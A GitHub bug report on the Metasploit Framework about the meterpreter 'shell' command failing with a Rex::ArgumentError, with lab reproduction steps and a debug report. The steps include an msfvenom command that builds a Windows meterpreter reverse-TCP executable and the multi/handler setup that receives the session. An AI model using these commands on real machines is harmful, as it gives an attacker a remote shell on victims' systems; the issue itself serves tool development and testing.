Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Error running command shell: Rex::ArgumentError An invalid argument was specified. Unknown type for arguments #19569

Open
yeyuexishuxiao opened this issue Oct 18, 2024 · 3 comments · May be fixed by #19577
Labels
bug confirmed Issues confirmed by a committer

Comments

@yeyuexishuxiao
Copy link

[-] Failed to spawn shell with thread impersonation. Retrying without it.
[-] Error running command shell: Rex::ArgumentError An invalid argument was specified. Unknown type for arguments
图片

图片

Copy link

When creating an issue, please ensure that the default issue template has been updated with the required details:
https://github.com/rapid7/metasploit-framework/issues/new/choose

Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.

@adfoster-r7 adfoster-r7 added needs-more-information The issue lacks enough detail to replicate/resolve successfully and removed needs-issue-template labels Oct 18, 2024
@adfoster-r7 adfoster-r7 reopened this Oct 18, 2024
Copy link

It looks like there's not enough information to replicate this issue. Please provide any relevant output and logs which may be useful in diagnosing the issue.

This includes:

  • All of the item points within this template
  • The result of the debug command in your Metasploit console
  • Screenshots showing the issues you're having
  • Exact replication steps

The easier it is for us to replicate and debug an issue means there's a higher chance of this issue being resolved.

@MoeLogical
Copy link

Steps to reproduce

2 VMs Lab Environment
VirtualBox 7.1.0

  1. Attacker VM
    Virtualization: oracle
    Operating System: Ubuntu 24.04.1 LTS
    Kernel: Linux 6.8.0-47-generic
    Architecture: x86-64
    Hardware Model: VirtualBox

Distributor ID: Ubuntu
Description: Ubuntu 24.04.1 LTS
Release: 24.04 desktop

  1. Victim VM
    OS Name: Microsoft Windows 10 Enterprise Evaluation
    OS Version: 10.0.19045 N/A Build 19045
    OS Manufacturer: Microsoft Corporation
    OS Configuration: Standalone Workstation
    System Model: VirtualBox
    System Type: x64-based PC

Recreate Event
Create the exe for windows using
msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.0.0.4 LPORT =4444 -f exe -o notreallymalware.exe

Then in Metasploit
msfconfig
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST enp0s3
LHOST => enp0s3
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit
msf shell

Additional information section has the error output.

Expected Behavior
It should allow me to run a shell on the victim system and execute commands.

Current Behavior
Failed to spawn shell.

Additional Information

Metasploit Documentation: https://docs.metasploit.com/

msf6 > set loglevel 3
loglevel => 3
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST enp0s3
LHOST => enp0s3
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

[] Started reverse TCP handler on 0.0.0.4:4444
[
] Sending stage (176198 bytes) to 0.0.0.5
[*] Meterpreter session 1 opened (0.0.0.4:4444 -> 0.0.0.5:52577) at 2024-10-21 04:30:06 +0100

meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
[-] Error running command shell: Rex::ArgumentError An invalid argument was specified. Unknown type for arguments

Debug Report

Module/Datastore
The following global/module datastore, and database setup was configured before the issue occurred:

[framework/core]
loglevel=3

[framework/ui/console]
ActiveModule=exploit/multi/handler

[multi/handler]
PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=enp0s3
LPORT=4444
WORKSPACE=
VERBOSE=false
WfsDelay=2
EnableContextEncoding=false
ContextInformationFile=
DisablePayloadHandler=false
ExitOnSession=true
ListenerTimeout=0

Database Configuration
The database contains the following information:

Session Type: Connected to msf. Connection type: postgresql.

ID Hosts Vulnerabilities Notes Services
1 (Current) 2 2 3 0
Total (1) 2 2 3 0

Framework Configuration
The features are configured as follows:

name enabled
wrapped_tables true
fully_interactive_shells false
manager_commands false
datastore_fallbacks true
metasploit_payload_warnings true
defer_module_loads false
smb_session_type true
postgresql_session_type true
mysql_session_type true
mssql_session_type true
ldap_session_type false
show_successful_logins false
dns true
hierarchical_search_table true

History
The following commands were executed during the session before the issue occurred:

83 set loglevel 3
84 use exploit/multi/handler
85 set PAYLOAD windows/meterpreter/reverse_tcp
86 set LHOST enp0s3
87 set LPORT 4444
88 exploit

Framework Errors
The following framework errors occurred before the issue occurred:

[10/21/2024 04:27:51] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[10/21/2024 04:27:56] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[10/21/2024 04:27:58] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[10/21/2024 04:30:02] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[10/21/2024 04:30:03] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[10/21/2024 04:30:11] [e(0)] meterpreter: Error running command shell: Rex::ArgumentError An invalid argument was specified. Unknown type for arguments

Version/Install
The versions and install method of your Metasploit setup:

Framework: 6.4.32-dev-
Ruby: ruby 3.2.5 (2024-07-26 revision 31d0f1a2e7) [x86_64-linux]
OpenSSL: OpenSSL 1.1.1t 7 Feb 2023
Install Root: /opt/metasploit-framework/embedded/framework
Session Type: Connected to msf. Connection type: postgresql.
Install Method: Omnibus Installer

@adfoster-r7 adfoster-r7 added confirmed Issues confirmed by a committer and removed needs-more-information The issue lacks enough detail to replicate/resolve successfully labels Oct 22, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug confirmed Issues confirmed by a committer
Projects
Status: In Progress
Development

Successfully merging a pull request may close this issue.

3 participants